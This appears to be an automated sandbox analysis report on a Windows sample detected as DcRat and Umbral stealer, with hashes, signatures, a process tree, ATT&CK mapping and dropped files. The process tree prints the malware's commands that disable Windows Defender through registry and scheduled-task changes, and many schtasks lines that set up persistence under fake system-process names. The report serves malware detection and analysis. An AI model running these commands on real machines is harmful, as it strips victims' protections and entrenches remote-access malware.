Overview

overview

10

Static

static

3

BBD6FFDB33...1F.exe

windows7-x64

10

BBD6FFDB33...1F.exe

windows10-2004-x64

10

Analysis

  • max time kernel
    140s
  • max time network
    140s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20241007-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
  • submitted
    30-10-2024 07:41

Sharing

Copy URL
Twitter E-mail
Report Analysis Logs

General

  • Target

    BBD6FFDB33259778F08704696A04891F.exe

  • Size

    12.7MB

  • MD5

    bbd6ffdb33259778f08704696a04891f

  • SHA1

    0fd836bb4bfc035ff35ebe0fb47e4693cec9e8ba

  • SHA256

    841eb644979b3c640761762645c9cd26f9bb46e558eaeb7bf0c2a79e761878f4

  • SHA512

    1b66f11b3a3dea1e6a8f4f7ee493437a41e30704d1c80048efd245184a447fde6abf06fe45af0663a72b30b657a7297554df8c3af7b36ae2e0df21a5031a34e0

  • SSDEEP

    393216:2JlQ1evI2bs6Yuno3rkJ3InoKasOnHDJaM8X:2bQpgssCKInwjJaMc

Score
10/10
dcratumbraldefense_evasiondiscoveryevasioninfostealerpersistenceratstealertrojanvmprotect

Malware Config

Signatures

  • DcRat 50 IoCs

    DarkCrystal(DC) is a new .NET RAT active since June 2019 capable of loading additional plugins.

    ratinfostealerdcrat
  • Dcrat family
    dcrat
  • Detect Umbral payload 2 IoCs
  • Modifies WinLogon for persistence 2 TTPs 16 IoCs
    persistence
  • Modifies Windows Defender Real-time Protection settings 3 TTPs 10 IoCs
    evasiontrojan
  • Modifies security service 2 TTPs 1 IoCs
    evasion
  • Process spawned unexpected child process 48 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Umbral

    Umbral stealer is an opensource moduler stealer written in C#.

    stealerumbral
  • Umbral family
    umbral
  • DCRat payload 3 IoCs

    Detects payload of DCRat, commonly dropped by NSIS installers.

    rat
  • Checks computer location settings 2 TTPs 7 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 7 IoCs
  • VMProtect packed file 5 IoCs

    Detects executables packed with VMProtect commercial packer.

    vmprotect
  • Adds Run key to start application 2 TTPs 30 IoCs
    persistence
  • Looks up external IP address via web service 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Modifies Security services 2 TTPs 4 IoCs

    Modifies the startup behavior of a security service.

    defense_evasion
  • Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs
  • Drops file in Program Files directory 11 IoCs
  • Drops file in Windows directory 7 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 38 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

    discovery
  • Modifies registry class 1 IoCs
  • Scheduled Task/Job: Scheduled Task 1 TTPs 48 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

    persistenceexecution
  • Suspicious behavior: EnumeratesProcesses 13 IoCs
  • Suspicious use of AdjustPrivilegeToken 46 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

    persistence

Processes

  • C:\Users\Admin\AppData\Local\Temp\BBD6FFDB33259778F08704696A04891F.exe
    "C:\Users\Admin\AppData\Local\Temp\BBD6FFDB33259778F08704696A04891F.exe"
    1⤵
    • DcRat
    • Checks computer location settings
    • System Location Discovery: System Language Discovery
    • Suspicious use of WriteProcessMemory
    PID:4964
    • C:\Users\Admin\AppData\Local\Temp\Lunch LaCheatV2.exe
      "C:\Users\Admin\AppData\Local\Temp\Lunch LaCheatV2.exe"
      2⤵
      • Checks computer location settings
      • Executes dropped EXE
      • Suspicious use of NtSetInformationThreadHideFromDebugger
      • System Location Discovery: System Language Discovery
      • Suspicious behavior: EnumeratesProcesses
      PID:2468
      • C:\Users\Admin\AppData\Local\Temp\Lunch LaCheat.exe
        "C:\Users\Admin\AppData\Local\Temp\Lunch LaCheat.exe"
        3⤵
        • Checks computer location settings
        • Executes dropped EXE
        • Suspicious use of NtSetInformationThreadHideFromDebugger
        • System Location Discovery: System Language Discovery
        • Suspicious behavior: EnumeratesProcesses
        PID:3092
        • C:\Users\Admin\AppData\Local\Temp\DCRatBuild.exe
          "C:\Users\Admin\AppData\Local\Temp\DCRatBuild.exe"
          4⤵
          • Checks computer location settings
          • Executes dropped EXE
          • System Location Discovery: System Language Discovery
          • Modifies registry class
          PID:3852
          • C:\Windows\SysWOW64\WScript.exe
            "C:\Windows\System32\WScript.exe" "C:\blockweb\J6PsSzBYKK7mXTJyYh2Tgne.vbe"
            5⤵
            • Checks computer location settings
            • System Location Discovery: System Language Discovery
            PID:2660
            • C:\Windows\SysWOW64\cmd.exe
              C:\Windows\system32\cmd.exe /c ""C:\blockweb\TOdra8QNG4wQEWkSimCHh9eVG.bat" "
              6⤵
              • System Location Discovery: System Language Discovery
              PID:2248
              • C:\blockweb\portrefNet.exe
                "C:\blockweb\portrefNet.exe"
                7⤵
                • DcRat
                • Modifies WinLogon for persistence
                • Checks computer location settings
                • Executes dropped EXE
                • Adds Run key to start application
                • Drops file in Program Files directory
                • Drops file in Windows directory
                • Suspicious behavior: EnumeratesProcesses
                • Suspicious use of AdjustPrivilegeToken
                PID:4016
                • C:\blockweb\portrefNet.exe
                  "C:\blockweb\portrefNet.exe"
                  8⤵
                  • Modifies WinLogon for persistence
                  • Checks computer location settings
                  • Executes dropped EXE
                  • Adds Run key to start application
                  • Drops file in Program Files directory
                  • Drops file in Windows directory
                  • Suspicious behavior: EnumeratesProcesses
                  • Suspicious use of AdjustPrivilegeToken
                  PID:1740
                  • C:\Recovery\WindowsRE\dllhost.exe
                    "C:\Recovery\WindowsRE\dllhost.exe"
                    9⤵
                    • Executes dropped EXE
                    • Suspicious behavior: EnumeratesProcesses
                    • Suspicious use of AdjustPrivilegeToken
                    PID:2636
          • C:\Windows\SysWOW64\WScript.exe
            "C:\Windows\System32\WScript.exe" "C:\blockweb\file.vbs"
            5⤵
            • System Location Discovery: System Language Discovery
            PID:232
        • C:\Users\Admin\AppData\Local\Temp\52cheatand52rat.exe
          "C:\Users\Admin\AppData\Local\Temp\52cheatand52rat.exe"
          4⤵
          • Executes dropped EXE
          • Suspicious use of AdjustPrivilegeToken
          PID:4508
          • C:\Windows\System32\Wbem\wmic.exe
            "wmic.exe" csproduct get uuid
            5⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:4428
    • C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\windows defender.bat" "
      2⤵
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:3460
      • C:\Windows\SysWOW64\reg.exe
        reg delete "HKLM\Software\Policies\Microsoft\Windows Defender" /f
        3⤵
        • System Location Discovery: System Language Discovery
        PID:4288
      • C:\Windows\SysWOW64\reg.exe
        reg add "HKLM\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d "1" /f
        3⤵
        • System Location Discovery: System Language Discovery
        PID:3384
      • C:\Windows\SysWOW64\reg.exe
        reg add "HKLM\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiVirus" /t REG_DWORD /d "1" /f
        3⤵
        • System Location Discovery: System Language Discovery
        PID:2452
      • C:\Windows\SysWOW64\reg.exe
        reg add "HKLM\Software\Policies\Microsoft\Windows Defender\MpEngine" /v "MpEnablePus" /t REG_DWORD /d "0" /f
        3⤵
        • System Location Discovery: System Language Discovery
        PID:3516
      • C:\Windows\SysWOW64\reg.exe
        reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableBehaviorMonitoring" /t REG_DWORD /d "1" /f
        3⤵
        • Modifies Windows Defender Real-time Protection settings
        • System Location Discovery: System Language Discovery
        PID:2848
      • C:\Windows\SysWOW64\reg.exe
        reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableIOAVProtection" /t REG_DWORD /d "1" /f
        3⤵
        • Modifies Windows Defender Real-time Protection settings
        • System Location Discovery: System Language Discovery
        PID:736
      • C:\Windows\SysWOW64\reg.exe
        reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableOnAccessProtection" /t REG_DWORD /d "1" /f
        3⤵
        • Modifies Windows Defender Real-time Protection settings
        • System Location Discovery: System Language Discovery
        PID:5040
      • C:\Windows\SysWOW64\reg.exe
        reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d "1" /f
        3⤵
        • Modifies Windows Defender Real-time Protection settings
        • System Location Discovery: System Language Discovery
        PID:2476
      • C:\Windows\SysWOW64\reg.exe
        reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableScanOnRealtimeEnable" /t REG_DWORD /d "1" /f
        3⤵
        • Modifies Windows Defender Real-time Protection settings
        • System Location Discovery: System Language Discovery
        PID:3980
      • C:\Windows\SysWOW64\reg.exe
        reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Reporting" /v "DisableEnhancedNotifications" /t REG_DWORD /d "1" /f
        3⤵
        • System Location Discovery: System Language Discovery
        PID:628
      • C:\Windows\SysWOW64\reg.exe
        reg add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "DisableBlockAtFirstSeen" /t REG_DWORD /d "1" /f
        3⤵
        • System Location Discovery: System Language Discovery
        PID:3608
      • C:\Windows\SysWOW64\reg.exe
        reg add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "SpynetReporting" /t REG_DWORD /d "0" /f
        3⤵
        • System Location Discovery: System Language Discovery
        PID:1784
      • C:\Windows\SysWOW64\reg.exe
        reg add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "SubmitSamplesConsent" /t REG_DWORD /d "2" /f
        3⤵
        • System Location Discovery: System Language Discovery
        PID:1152
      • C:\Windows\SysWOW64\reg.exe
        reg add "HKLM\System\CurrentControlSet\Control\WMI\Autologger\DefenderApiLogger" /v "Start" /t REG_DWORD /d "0" /f
        3⤵
        • System Location Discovery: System Language Discovery
        PID:4292
      • C:\Windows\SysWOW64\reg.exe
        reg add "HKLM\System\CurrentControlSet\Control\WMI\Autologger\DefenderAuditLogger" /v "Start" /t REG_DWORD /d "0" /f
        3⤵
        • System Location Discovery: System Language Discovery
        PID:4732
      • C:\Windows\SysWOW64\schtasks.exe
        schtasks /Change /TN "Microsoft\Windows\ExploitGuard\ExploitGuard MDM policy Refresh" /Disable
        3⤵
        • System Location Discovery: System Language Discovery
        PID:1632
      • C:\Windows\SysWOW64\schtasks.exe
        schtasks /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Cache Maintenance" /Disable
        3⤵
        • System Location Discovery: System Language Discovery
        PID:3148
      • C:\Windows\SysWOW64\schtasks.exe
        schtasks /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Cleanup" /Disable
        3⤵
        • System Location Discovery: System Language Discovery
        PID:4120
      • C:\Windows\SysWOW64\schtasks.exe
        schtasks /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Scheduled Scan" /Disable
        3⤵
        • System Location Discovery: System Language Discovery
        PID:1856
      • C:\Windows\SysWOW64\schtasks.exe
        schtasks /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Verification" /Disable
        3⤵
        • System Location Discovery: System Language Discovery
        PID:2248
      • C:\Windows\SysWOW64\reg.exe
        reg delete "HKLM\Software\Microsoft\Windows\CurrentVersion\Explorer\StartupApproved\Run" /v "SecurityHealth" /f
        3⤵
        • System Location Discovery: System Language Discovery
        PID:5096
      • C:\Windows\SysWOW64\reg.exe
        reg delete "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "SecurityHealth" /f
        3⤵
        • System Location Discovery: System Language Discovery
        PID:3892
      • C:\Windows\SysWOW64\reg.exe
        reg delete "HKCR\*\shellex\ContextMenuHandlers\EPP" /f
        3⤵
        • System Location Discovery: System Language Discovery
        PID:4084
      • C:\Windows\SysWOW64\reg.exe
        reg delete "HKCR\Directory\shellex\ContextMenuHandlers\EPP" /f
        3⤵
        • System Location Discovery: System Language Discovery
        PID:2204
      • C:\Windows\SysWOW64\reg.exe
        reg delete "HKCR\Drive\shellex\ContextMenuHandlers\EPP" /f
        3⤵
        • System Location Discovery: System Language Discovery
        PID:2336
      • C:\Windows\SysWOW64\reg.exe
        reg add "HKLM\System\CurrentControlSet\Services\WdBoot" /v "Start" /t REG_DWORD /d "4" /f
        3⤵
        • Modifies Security services
        • System Location Discovery: System Language Discovery
        PID:1380
      • C:\Windows\SysWOW64\reg.exe
        reg add "HKLM\System\CurrentControlSet\Services\WdFilter" /v "Start" /t REG_DWORD /d "4" /f
        3⤵
        • Modifies Security services
        • System Location Discovery: System Language Discovery
        PID:552
      • C:\Windows\SysWOW64\reg.exe
        reg add "HKLM\System\CurrentControlSet\Services\WdNisDrv" /v "Start" /t REG_DWORD /d "4" /f
        3⤵
        • Modifies Security services
        • System Location Discovery: System Language Discovery
        PID:4904
      • C:\Windows\SysWOW64\reg.exe
        reg add "HKLM\System\CurrentControlSet\Services\WdNisSvc" /v "Start" /t REG_DWORD /d "4" /f
        3⤵
        • Modifies Security services
        • System Location Discovery: System Language Discovery
        PID:5028
      • C:\Windows\SysWOW64\reg.exe
        reg add "HKLM\System\CurrentControlSet\Services\WinDefend" /v "Start" /t REG_DWORD /d "4" /f
        3⤵
        • Modifies security service
        • System Location Discovery: System Language Discovery
        PID:3476
  • C:\Windows\system32\schtasks.exe
    schtasks.exe /create /tn "StartMenuExperienceHostS" /sc MINUTE /mo 10 /tr "'C:\Windows\assembly\GAC_64\srmlib\1.0.0.0__31bf3856ad364e35\StartMenuExperienceHost.exe'" /f
    1⤵
    • DcRat
    • Process spawned unexpected child process
    • Scheduled Task/Job: Scheduled Task
    PID:2752
  • C:\Windows\system32\schtasks.exe
    schtasks.exe /create /tn "StartMenuExperienceHost" /sc ONLOGON /tr "'C:\Windows\assembly\GAC_64\srmlib\1.0.0.0__31bf3856ad364e35\StartMenuExperienceHost.exe'" /rl HIGHEST /f
    1⤵
    • DcRat
    • Process spawned unexpected child process
    • Scheduled Task/Job: Scheduled Task
    PID:2336
  • C:\Windows\system32\schtasks.exe
    schtasks.exe /create /tn "StartMenuExperienceHostS" /sc MINUTE /mo 12 /tr "'C:\Windows\assembly\GAC_64\srmlib\1.0.0.0__31bf3856ad364e35\StartMenuExperienceHost.exe'" /rl HIGHEST /f
    1⤵
    • DcRat
    • Process spawned unexpected child process
    • Scheduled Task/Job: Scheduled Task
    PID:3480
  • C:\Windows\system32\schtasks.exe
    schtasks.exe /create /tn "taskhostwt" /sc MINUTE /mo 5 /tr "'C:\Program Files (x86)\Windows Photo Viewer\ja-JP\taskhostw.exe'" /f
    1⤵
    • DcRat
    • Process spawned unexpected child process
    • Scheduled Task/Job: Scheduled Task
    PID:2996
  • C:\Windows\system32\schtasks.exe
    schtasks.exe /create /tn "taskhostw" /sc ONLOGON /tr "'C:\Program Files (x86)\Windows Photo Viewer\ja-JP\taskhostw.exe'" /rl HIGHEST /f
    1⤵
    • DcRat
    • Process spawned unexpected child process
    • Scheduled Task/Job: Scheduled Task
    PID:2608
  • C:\Windows\system32\schtasks.exe
    schtasks.exe /create /tn "taskhostwt" /sc MINUTE /mo 6 /tr "'C:\Program Files (x86)\Windows Photo Viewer\ja-JP\taskhostw.exe'" /rl HIGHEST /f
    1⤵
    • DcRat
    • Process spawned unexpected child process
    • Scheduled Task/Job: Scheduled Task
    PID:552
  • C:\Windows\system32\schtasks.exe
    schtasks.exe /create /tn "MoUsoCoreWorkerM" /sc MINUTE /mo 12 /tr "'C:\Users\Admin\Favorites\MoUsoCoreWorker.exe'" /f
    1⤵
    • DcRat
    • Process spawned unexpected child process
    • Scheduled Task/Job: Scheduled Task
    PID:4904
  • C:\Windows\system32\schtasks.exe
    schtasks.exe /create /tn "MoUsoCoreWorker" /sc ONLOGON /tr "'C:\Users\Admin\Favorites\MoUsoCoreWorker.exe'" /rl HIGHEST /f
    1⤵
    • DcRat
    • Process spawned unexpected child process
    • Scheduled Task/Job: Scheduled Task
    PID:4180
  • C:\Windows\system32\schtasks.exe
    schtasks.exe /create /tn "MoUsoCoreWorkerM" /sc MINUTE /mo 6 /tr "'C:\Users\Admin\Favorites\MoUsoCoreWorker.exe'" /rl HIGHEST /f
    1⤵
    • DcRat
    • Process spawned unexpected child process
    • Scheduled Task/Job: Scheduled Task
    PID:432
  • C:\Windows\system32\schtasks.exe
    schtasks.exe /create /tn "taskhostwt" /sc MINUTE /mo 8 /tr "'C:\Program Files\Windows Media Player\taskhostw.exe'" /f
    1⤵
    • DcRat
    • Process spawned unexpected child process
    • Scheduled Task/Job: Scheduled Task
    PID:4404
  • C:\Windows\system32\schtasks.exe
    schtasks.exe /create /tn "taskhostw" /sc ONLOGON /tr "'C:\Program Files\Windows Media Player\taskhostw.exe'" /rl HIGHEST /f
    1⤵
    • DcRat
    • Process spawned unexpected child process
    • Scheduled Task/Job: Scheduled Task
    PID:3184
  • C:\Windows\system32\schtasks.exe
    schtasks.exe /create /tn "taskhostwt" /sc MINUTE /mo 11 /tr "'C:\Program Files\Windows Media Player\taskhostw.exe'" /rl HIGHEST /f
    1⤵
    • DcRat
    • Process spawned unexpected child process
    • Scheduled Task/Job: Scheduled Task
    PID:4744
  • C:\Windows\system32\schtasks.exe
    schtasks.exe /create /tn "smsss" /sc MINUTE /mo 11 /tr "'C:\blockweb\smss.exe'" /f
    1⤵
    • DcRat
    • Process spawned unexpected child process
    • Scheduled Task/Job: Scheduled Task
    PID:4924
  • C:\Windows\system32\schtasks.exe
    schtasks.exe /create /tn "smss" /sc ONLOGON /tr "'C:\blockweb\smss.exe'" /rl HIGHEST /f
    1⤵
    • DcRat
    • Process spawned unexpected child process
    • Scheduled Task/Job: Scheduled Task
    PID:956
  • C:\Windows\system32\schtasks.exe
    schtasks.exe /create /tn "smsss" /sc MINUTE /mo 6 /tr "'C:\blockweb\smss.exe'" /rl HIGHEST /f
    1⤵
    • DcRat
    • Process spawned unexpected child process
    • Scheduled Task/Job: Scheduled Task
    PID:2648
  • C:\Windows\system32\schtasks.exe
    schtasks.exe /create /tn "servicess" /sc MINUTE /mo 14 /tr "'C:\Windows\Vss\services.exe'" /f
    1⤵
    • DcRat
    • Process spawned unexpected child process
    • Scheduled Task/Job: Scheduled Task
    PID:456
  • C:\Windows\system32\schtasks.exe
    schtasks.exe /create /tn "services" /sc ONLOGON /tr "'C:\Windows\Vss\services.exe'" /rl HIGHEST /f
    1⤵
    • DcRat
    • Process spawned unexpected child process
    • Scheduled Task/Job: Scheduled Task
    PID:3204
  • C:\Windows\system32\schtasks.exe
    schtasks.exe /create /tn "servicess" /sc MINUTE /mo 14 /tr "'C:\Windows\Vss\services.exe'" /rl HIGHEST /f
    1⤵
    • DcRat
    • Process spawned unexpected child process
    • Scheduled Task/Job: Scheduled Task
    PID:872
  • C:\Windows\system32\schtasks.exe
    schtasks.exe /create /tn "servicess" /sc MINUTE /mo 14 /tr "'C:\blockweb\services.exe'" /f
    1⤵
    • DcRat
    • Process spawned unexpected child process
    • Scheduled Task/Job: Scheduled Task
    PID:1172
  • C:\Windows\system32\schtasks.exe
    schtasks.exe /create /tn "services" /sc ONLOGON /tr "'C:\blockweb\services.exe'" /rl HIGHEST /f
    1⤵
    • DcRat
    • Process spawned unexpected child process
    • Scheduled Task/Job: Scheduled Task
    PID:2164
  • C:\Windows\system32\schtasks.exe
    schtasks.exe /create /tn "servicess" /sc MINUTE /mo 12 /tr "'C:\blockweb\services.exe'" /rl HIGHEST /f
    1⤵
    • DcRat
    • Process spawned unexpected child process
    • Scheduled Task/Job: Scheduled Task
    PID:3944
  • C:\Windows\system32\schtasks.exe
    schtasks.exe /create /tn "smsss" /sc MINUTE /mo 13 /tr "'C:\Windows\Speech_OneCore\smss.exe'" /f
    1⤵
    • DcRat
    • Process spawned unexpected child process
    • Scheduled Task/Job: Scheduled Task
    PID:2064
  • C:\Windows\system32\schtasks.exe
    schtasks.exe /create /tn "smss" /sc ONLOGON /tr "'C:\Windows\Speech_OneCore\smss.exe'" /rl HIGHEST /f
    1⤵
    • DcRat
    • Process spawned unexpected child process
    • Scheduled Task/Job: Scheduled Task
    PID:4852
  • C:\Windows\system32\schtasks.exe
    schtasks.exe /create /tn "smsss" /sc MINUTE /mo 5 /tr "'C:\Windows\Speech_OneCore\smss.exe'" /rl HIGHEST /f
    1⤵
    • DcRat
    • Process spawned unexpected child process
    • Scheduled Task/Job: Scheduled Task
    PID:4424
  • C:\Windows\system32\schtasks.exe
    schtasks.exe /create /tn "upfcu" /sc MINUTE /mo 5 /tr "'C:\blockweb\upfc.exe'" /f
    1⤵
    • DcRat
    • Process spawned unexpected child process
    • Scheduled Task/Job: Scheduled Task
    PID:208
  • C:\Windows\system32\schtasks.exe
    schtasks.exe /create /tn "upfc" /sc ONLOGON /tr "'C:\blockweb\upfc.exe'" /rl HIGHEST /f
    1⤵
    • DcRat
    • Process spawned unexpected child process
    • Scheduled Task/Job: Scheduled Task
    PID:548
  • C:\Windows\system32\schtasks.exe
    schtasks.exe /create /tn "upfcu" /sc MINUTE /mo 8 /tr "'C:\blockweb\upfc.exe'" /rl HIGHEST /f
    1⤵
    • DcRat
    • Process spawned unexpected child process
    • Scheduled Task/Job: Scheduled Task
    PID:1056
  • C:\Windows\system32\schtasks.exe
    schtasks.exe /create /tn "RegistryR" /sc MINUTE /mo 7 /tr "'C:\Recovery\WindowsRE\Registry.exe'" /f
    1⤵
    • DcRat
    • Process spawned unexpected child process
    • Scheduled Task/Job: Scheduled Task
    PID:3852
  • C:\Windows\system32\schtasks.exe
    schtasks.exe /create /tn "Registry" /sc ONLOGON /tr "'C:\Recovery\WindowsRE\Registry.exe'" /rl HIGHEST /f
    1⤵
    • DcRat
    • Process spawned unexpected child process
    • Scheduled Task/Job: Scheduled Task
    PID:3036
  • C:\Windows\system32\schtasks.exe
    schtasks.exe /create /tn "RegistryR" /sc MINUTE /mo 11 /tr "'C:\Recovery\WindowsRE\Registry.exe'" /rl HIGHEST /f
    1⤵
    • DcRat
    • Process spawned unexpected child process
    • Scheduled Task/Job: Scheduled Task
    PID:4620
  • C:\Windows\system32\schtasks.exe
    schtasks.exe /create /tn "fontdrvhostf" /sc MINUTE /mo 14 /tr "'C:\blockweb\fontdrvhost.exe'" /f
    1⤵
    • DcRat
    • Process spawned unexpected child process
    • Scheduled Task/Job: Scheduled Task
    PID:4504
  • C:\Windows\system32\schtasks.exe
    schtasks.exe /create /tn "fontdrvhost" /sc ONLOGON /tr "'C:\blockweb\fontdrvhost.exe'" /rl HIGHEST /f
    1⤵
    • DcRat
    • Process spawned unexpected child process
    • Scheduled Task/Job: Scheduled Task
    PID:1904
  • C:\Windows\system32\schtasks.exe
    schtasks.exe /create /tn "fontdrvhostf" /sc MINUTE /mo 13 /tr "'C:\blockweb\fontdrvhost.exe'" /rl HIGHEST /f
    1⤵
    • DcRat
    • Process spawned unexpected child process
    • Scheduled Task/Job: Scheduled Task
    PID:4460
  • C:\Windows\system32\schtasks.exe
    schtasks.exe /create /tn "upfcu" /sc MINUTE /mo 9 /tr "'C:\blockweb\upfc.exe'" /f
    1⤵
    • DcRat
    • Process spawned unexpected child process
    • Scheduled Task/Job: Scheduled Task
    PID:3748
  • C:\Windows\system32\schtasks.exe
    schtasks.exe /create /tn "upfc" /sc ONLOGON /tr "'C:\blockweb\upfc.exe'" /rl HIGHEST /f
    1⤵
    • DcRat
    • Process spawned unexpected child process
    • Scheduled Task/Job: Scheduled Task
    PID:3220
  • C:\Windows\system32\schtasks.exe
    schtasks.exe /create /tn "upfcu" /sc MINUTE /mo 6 /tr "'C:\blockweb\upfc.exe'" /rl HIGHEST /f
    1⤵
    • DcRat
    • Process spawned unexpected child process
    • Scheduled Task/Job: Scheduled Task
    PID:3952
  • C:\Windows\system32\schtasks.exe
    schtasks.exe /create /tn "lsassl" /sc MINUTE /mo 13 /tr "'C:\Program Files\Windows Portable Devices\lsass.exe'" /f
    1⤵
    • DcRat
    • Process spawned unexpected child process
    • Scheduled Task/Job: Scheduled Task
    PID:4552
  • C:\Windows\system32\schtasks.exe
    schtasks.exe /create /tn "lsass" /sc ONLOGON /tr "'C:\Program Files\Windows Portable Devices\lsass.exe'" /rl HIGHEST /f
    1⤵
    • DcRat
    • Process spawned unexpected child process
    • Scheduled Task/Job: Scheduled Task
    PID:4748
  • C:\Windows\system32\schtasks.exe
    schtasks.exe /create /tn "lsassl" /sc MINUTE /mo 9 /tr "'C:\Program Files\Windows Portable Devices\lsass.exe'" /rl HIGHEST /f
    1⤵
    • DcRat
    • Process spawned unexpected child process
    • Scheduled Task/Job: Scheduled Task
    PID:1096
  • C:\Windows\system32\schtasks.exe
    schtasks.exe /create /tn "dllhostd" /sc MINUTE /mo 11 /tr "'C:\Recovery\WindowsRE\dllhost.exe'" /f
    1⤵
    • DcRat
    • Process spawned unexpected child process
    • Scheduled Task/Job: Scheduled Task
    PID:2756
  • C:\Windows\system32\schtasks.exe
    schtasks.exe /create /tn "dllhost" /sc ONLOGON /tr "'C:\Recovery\WindowsRE\dllhost.exe'" /rl HIGHEST /f
    1⤵
    • DcRat
    • Process spawned unexpected child process
    • Scheduled Task/Job: Scheduled Task
    PID:2148
  • C:\Windows\system32\schtasks.exe
    schtasks.exe /create /tn "dllhostd" /sc MINUTE /mo 12 /tr "'C:\Recovery\WindowsRE\dllhost.exe'" /rl HIGHEST /f
    1⤵
    • DcRat
    • Process spawned unexpected child process
    • Scheduled Task/Job: Scheduled Task
    PID:3472
  • C:\Windows\system32\schtasks.exe
    schtasks.exe /create /tn "csrssc" /sc MINUTE /mo 10 /tr "'C:\Program Files (x86)\Common Files\Microsoft Shared\Filters\csrss.exe'" /f
    1⤵
    • DcRat
    • Process spawned unexpected child process
    • Scheduled Task/Job: Scheduled Task
    PID:1044
  • C:\Windows\system32\schtasks.exe
    schtasks.exe /create /tn "csrss" /sc ONLOGON /tr "'C:\Program Files (x86)\Common Files\Microsoft Shared\Filters\csrss.exe'" /rl HIGHEST /f
    1⤵
    • DcRat
    • Process spawned unexpected child process
    • Scheduled Task/Job: Scheduled Task
    PID:924
  • C:\Windows\system32\schtasks.exe
    schtasks.exe /create /tn "csrssc" /sc MINUTE /mo 8 /tr "'C:\Program Files (x86)\Common Files\Microsoft Shared\Filters\csrss.exe'" /rl HIGHEST /f
    1⤵
    • DcRat
    • Process spawned unexpected child process
    • Scheduled Task/Job: Scheduled Task
    PID:4452
  • C:\Windows\system32\schtasks.exe
    schtasks.exe /create /tn "csrssc" /sc MINUTE /mo 13 /tr "'C:\Program Files\Google\Chrome\Application\csrss.exe'" /f
    1⤵
    • DcRat
    • Process spawned unexpected child process
    • Scheduled Task/Job: Scheduled Task
    PID:556
  • C:\Windows\system32\schtasks.exe
    schtasks.exe /create /tn "csrss" /sc ONLOGON /tr "'C:\Program Files\Google\Chrome\Application\csrss.exe'" /rl HIGHEST /f
    1⤵
    • DcRat
    • Process spawned unexpected child process
    • Scheduled Task/Job: Scheduled Task
    PID:984
  • C:\Windows\system32\schtasks.exe
    schtasks.exe /create /tn "csrssc" /sc MINUTE /mo 12 /tr "'C:\Program Files\Google\Chrome\Application\csrss.exe'" /rl HIGHEST /f
    1⤵
    • DcRat
    • Process spawned unexpected child process
    • Scheduled Task/Job: Scheduled Task
    PID:2576

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

1
T1053

Scheduled Task

1
T1053.005

Persistence

Boot or Logon Autostart Execution

2
T1547

Registry Run Keys / Startup Folder

1
T1547.001

Winlogon Helper DLL

1
T1547.004

Create or Modify System Process

2
T1543

Windows Service

2
T1543.003

Scheduled Task/Job

1
T1053

Scheduled Task

1
T1053.005

Privilege Escalation

Boot or Logon Autostart Execution

2
T1547

Registry Run Keys / Startup Folder

1
T1547.001

Winlogon Helper DLL

1
T1547.004

Create or Modify System Process

2
T1543

Windows Service

2
T1543.003

Scheduled Task/Job

1
T1053

Scheduled Task

1
T1053.005

Defense Evasion

Impair Defenses

2
T1562

Disable or Modify Tools

1
T1562.001

Modify Registry

5
T1112

Credential Access

Discovery

Query Registry

2
T1012

System Information Discovery

2
T1082

System Location Discovery

1
T1614

System Language Discovery

1
T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

  • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\portrefNet.exe.log
    Filesize

    1KB

    MD5

    7800fca2323a4130444c572374a030f4

    SHA1

    40c9b8e0e5e7d72a5293f4010f2ccf21e637b4aa

    SHA256

    29f5645ac14353ac460858f52c856548f3aeb144b09eef672a6b4849bafe742e

    SHA512

    c8a7ad930b8c07007c7a67d8c32a2a4a401dcc34ab966e0e80901655fcbe1f5c95b72a195e6381b1de56c2c987eeab093d8e89891bec9e9684785c5d824b3554

    Download Submit

  • C:\Users\Admin\AppData\Local\Temp\52cheatand52rat.exe
    Filesize

    229KB

    MD5

    06129ffc46e854930cfcaa754ca1d487

    SHA1

    e7c173c48aa107ec63bd6f9030c9ec6fe889d832

    SHA256

    10d28e18a7df4b2c30e05e5e361f1724e0b6ea8c021d8105ee30354be79b98d1

    SHA512

    b7121a2a65f317edbc1b4dd8dec427c277fad2b521a211d1408bc06b79431c418dad32ed61481c5ef49511cd167846e026a86147ae77bd9b0e607918feb66ab9

    Download Submit

